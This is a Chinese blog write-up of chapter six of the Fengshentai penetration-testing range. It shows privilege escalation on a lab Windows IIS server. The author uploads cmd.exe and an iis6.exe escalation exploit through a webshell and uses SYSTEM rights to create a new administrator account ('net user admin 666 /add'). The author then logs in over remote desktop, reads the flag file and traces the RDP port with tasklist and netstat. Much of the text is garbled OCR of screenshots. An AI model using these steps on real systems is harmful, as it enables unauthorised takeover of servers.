封神台靶场-第六章

原创

 Mr H
 ● 于 2020-07-11 23:42:20 发布
 ○ 736 ☆ 收藏

 分类专栏:
 <u>封神台-第六章</u> 文章标签: 渗透测试靶场

 版权声明:
 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 <u>https://blog.csdn.net/Mr_helloword/article/details/107292259</u>

 版权



封神台-第六章 专栏收录该内容

1 篇文章 0 订阅 订阅专栏

第六章-SYSTEM! POWER!

Tips:

1、提权!

2、FLAG在C盘根目录下!

1.在第五章的基础上用菜刀连接,根据提示查看flag,发现没有权限,这里想到提权,这是本章重点(注:如果中途出现掉线,重新连接菜刀,或重新上传木马连接)



2.上传cmd.exe,iis6.exe文件(在upfile这里上传这俩个文件)

9.63.200.79 目录(0),文件(32) 名称 — C:		Bit B		
🗇 C:		H110	大小 属性	🗆 🗆 站点类别
➡ D: ■ 20207125	4922971.jpg	2020-07-12 05:49:22	119 32	□ 默认类别 □ Type1 □ 上传下载
	a 202071254949683. cer	2020-07-12 05:49:49	119 32	
Databases 20207125	5240891.jpg	2020-07-12 05:52:40	119 32	
 Images Img 	5323111.cer	2020-07-12 05:53:23	8187 32	
🛅 imgbly 🗔 20207125 🛅 imgbyw	5326906. cer	2020-07-12 05:53:26	119 32	
C Inc 20207125	568470. cer	2020-07-12 05:56:08	8187 32	
UploadFiles	520130.jpg	2020-07-12 06:05:20	48985 32	
Lass	550158. ver	2020-07-12 06:05:50	796 32	
☐ Ing ☐ ingbly	650116. cer	2020-07-12 06:06:50	257 32	
ingbyw 📧 cmd. exe		2020-07-12 06:17:15	100864 32	
🛅 Menu 📑 iis6. ex		2019-05-27 17:22:13	41472 32	

3.打开cmd命令,想法:创建管理员组新用户成员,奈何权限低。 whoami查看当前用户:发现为web应用服务组成员,权限低

D:\05\V	ploadFiles\> netstat -a	n find "ESTABLISHED"	
TCP	192.168.0.3:80	119, 130, 231, 109; 14702	ESTABLISHED
TCP	192.168.0.3:80	222.187.34.182:45917	ESTABLISHED
TCP	192.168.0.3:81	60.223.113.251:3144	ESTABLISHED
TCP	192.168.0.3:81	223.11.54.82:6066	ESTABLISHED
TCP	192.168.0.3:81	223.11.54.82:6067	ESTABLISHED
TCP	192.168.0.3:82	183.202.110.129:11622	ESTABLISHED
TCP	192.168.0.3:135	192.168.0.3:3251	ESTABLISHED
TCP	192.168.0.3:3251	192.168.0.3:135	ESTABLISHED
n:/ne/n	broaqijtez/> mpoawi 📃		
nt auth	ority\network service		

我们想到还有一个iis6,我们查看该用户发现为system权限: 命令: iis6.exe "whoami"



4.利用iis6desystem权限创建新用户,加入Administrators组:

iis6.exe "net user admin 666 /add" iis6.exe "net localgroup Administrators admin /add"

				A.2	~~**	
] 🛅 59. 63. 200. 79	59. 63. 200. 79	+			> = 🗆 >
1						星期六 2020-07-11 五月廿一
TCP TCP TCP TCP TCP TCP UPP UPP UPP UPP UPP UPP UPP UPP UPP U	192.168.0.3:82 192.168.0.3:82 192.168.0.3:82 192.168.0.3:135 192.168.0.3:135 192.168.0.3:251 192.168.0.3:251 192.168.0.3:251 192.168.0.3:251 0.0.0.0:500 0.0.0.0:1028 0.0.0.0:500 0.0.0.0:445 0.0.0.0:445 0.0.0.0:445 0.0.0.0:445 0.0.0.0:445 0.0.0.0:445 0.0.0.0:11027 192.168.0.3:123 192.168.0.3:138 UploadFiles\} iis6.exe p]→XIS Token FipeAbm. p]→Xet registry OK ss walking]: 1508 iis6. ss walking]: 5032 wm/diama iis6. ss walking]: 5032	183.202.110.129:11488 183.202.110.129:11514 223.11.54.82:6742 192.168.0.3:3251 0.0.0.00 192.168.0.3:135 192.168.0.20:139 *:* *:* *:* *:* *:* *:* *:* *:	TIME_WAIT ESTABLISHED ESTABLISHED LISTENING ESTABLISHED TIME_WAIT	0 4 688 4 3748 0 4 416 744 416 796 796 796 4 4		▲ □ □ □ □ □ □ □ □ □ □ □ □ □



□ 准备就绪

ttps://blog.csdn.net/Mr_hellov<mark>68231</mark>.



如下表示已经成为管理员用户



5.这里想着进行远程登陆,远程登陆的端口号默认为3389我们尝试登陆结果可以登陆(注:如果发现端口错误,不是3359,说明 端口号被改了,我们可以通过第六点查看远程登陆端口号) 打开win的控制终端win+r

<i>回</i> 运行	×
Windows 将根据你所输入的名称,为你打开相应的程序、 文件夹、文档或 Internet 资源。	
打开(<u>O</u>): mstsc /v:59.63.200.79:3389	
确定 取消 浏览(B) https://blog.cscln.net/Wir_hellow] ord

输入账号密码登陆发现新的新的困难又来了:服务中断由于很多人登陆靶场连接,登陆用户登陆后没有注销导致,在这里友情提 示登陆后及时注销。最后办法总比困难多遇到问题可以多查查解决如下



当出现这个问题的时候,解决方法要与您本地使用的操作系统有关系

如果您本地使用的是Windows XP、Windows 2008、Windows 7/8/8.1操作系统,那么在远程的时候在IP 后面添加参数 /admin 远程即可,(就是强制登陆)

mstsc /v:59.63.200.79:3389 /admin



登陆查找flag

Խ 59.63.200.79:3389 - 远程桌面连接	_	×
		^7
		71
🖝 C: \		
文件 (E) 编辑 (E) 查看 (Y) 收藏 (A) 工具 (E) 帮助 (H)		
🕜 后退 ▼ 🕥 ▼ 🎓 換索 🌔 文件夹 🕴 🛄 ▼		

	夕称 ▲	1 大小 巻刑	修改日期
系统任务	Documents and Settings		2020-7-11 2
	- inetpub	文件夹	2018-10-18
📄 📄 隐藏此驱动器的内容	🛅 Program Files	文件夹	2018-10-17
📸 添加/删除程序	👝 web	文件夹	2019-5-27 1
💭 搜索文件或文件夹	🛅 WINDOWS	文件夹	2019-5-27 1
·	——————————————————————————————————————	文件夹	2018-10-17
	🗐 flag. txt	1 KB 文本文档	2018-4-2 1
文件和文件夹任务	*		
📑 重命名这个文件			
▲ 移动这个文件			
🛛 🚳 将这个艾伴发布到 Web			
📄 🖄 以电子邮件形式发送此	,		
			net/Wr_hellov s

159.63.200.79:3389 - 远程桌面连接	_		×
			<u>^</u> 7
安2 <mark>●</mark> flag. txt - 记事本			71
文件 (2) 编辑 (2) 格式 (2) 查看 (Y) 帮助 (H)			
zkz{ stem}			
			~
< https://blog.cs/	In.net/\	/lr_hello	aĵ O€VC

6.查找远程登陆端口号

思路: 先查看进程-----找到远程登陆进程-----查找进程的pid------再根据pid查看端口号

`` ` bash				
` ``bash				
iis6.exe	"tasklist -svc"			
iis6.exe	"netstat -ano"			

查找远程登陆进程的pid(TermService pid 2260)

D C 59. 63. 200. 79	59.63.200.79 +		> = 🗖 🗙
			星期六 2020-07-11 五月廿一
[process walking]: 3028 cmd. process walking]: 3308 w3wg [process walking]: 3756 wmip [IIS6Up]—>Got WMI process F [Try 1 time] [IIS6Up]—>Found token SYSTF [*]Running command with SYST [*]Command: tasklist -syso [+]Done, command should have	exe .exe id: 3756 M EM Token ran as SYSTEM!		 □ ⊆ 站点类别 □ 默认类别 □ I₇₀ e1 ⑦ 日程提醒 ⑩ 快捷方式 □ 上传下载
错误: 无效参数/选项 - ^{' —} ssvo 键入 "TASKLIST /? <mark>" 以了解用</mark> 》	<u> </u>		
D:\05\UploadFiles [IIS8Up]->TIS Toles [IIS8Up]->This exploit give [IIS8Up]->Set registry GK [process walking]: 3308 w3wg [process walking]: 3756 wml; [IIS8Up]->Got WMI process F [Try 1 time] [IIS8Up]->Found token SYSTH [*]Running command with SYST [*]Command: tasklist -svc [+]Done, command should have	"tasklist -svo" - svou a Local System shell .exe ryse.exe id: 3756 M EM Token ran as SYSTEM!		
映像名称	PID 服务		
System Idle Process System smss.exe vinlogon.exe services.exe lsass.exe svchost.exe svchost.exe svchost.exe	0 4 4 4 5 5 5 5 5 5 5 5 5 6 5 6 5 5 5 5 5 5 5 5 5 5 5 5 5	ge,	
□准备就绪		https://	//blog.csdn.net/Mr_hel GB2312
	The second		

根据进程号2260查看端口为3389

			4		
🔲 🔝 🛅 59, 63, 200, 79	59, 63, 200, 79	+			> =
[Try 4 time] D:\05\UploadFiles\> iis6 exe [IIS8Up]->TIS Token FipeAdm [IIS8Up]->This exploit give [IIS8Up]->Set registry 0K [process walking]: 3308 w3wp [process walking]: 3308 w3wp [process walking]: 4868 cmd. [process walking]: 5748 wmip [IIS8Up]->Kot WMI process P [Try 1 time] [IIS8Up]->Found token SYST [*]Running command with SYST [*]Command: netstat -ano	"netstat —ano" in golds7n Version s you a Local System she . exe exe ryse.exe id: 5748 M EM Token ran as SYSTEM!	-11			 生期元 2020-07-11 五月廿- □ 站点类別 □ 默认类別 □ 丁ype1 ② 日程提醒 ○ 快捷方式 □ 上传下载
Active Connections Proto Local Address TCP 0.0.0.0.80 TCP 0.0.0.0.81 TCP 0.0.0.0.81 TCP 0.0.0.0.135 TCP 0.0.0.0.135 TCP 0.0.0.0.1025 TCP 0.0.0.0.3306 TCP 0.0.0.3389 TCP 0.0.0.1:4175 TCP 127.0.0.1:4176 TCP 127.0.0.1:4178 TCP 127.0.0.1:4178 TCP 127.0.0.1:4178 TCP 127.0.0.1:4178 TCP 127.0.0.1:4178 TCP 127.0.0.1:4183	Foreign Address 0,0.0.00 0,0.00 0,0.00 127.0.0.1:3306 127.0.0.1:3306 127.0.0.1:3306 127.0.0.1:3306	State LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING USTENING TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT	PID 4048 4 688 4 4 984 416 3428 2460 4048 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0		
□准备就绪				https:	//blog.csdn.net/Mr_helGB2312

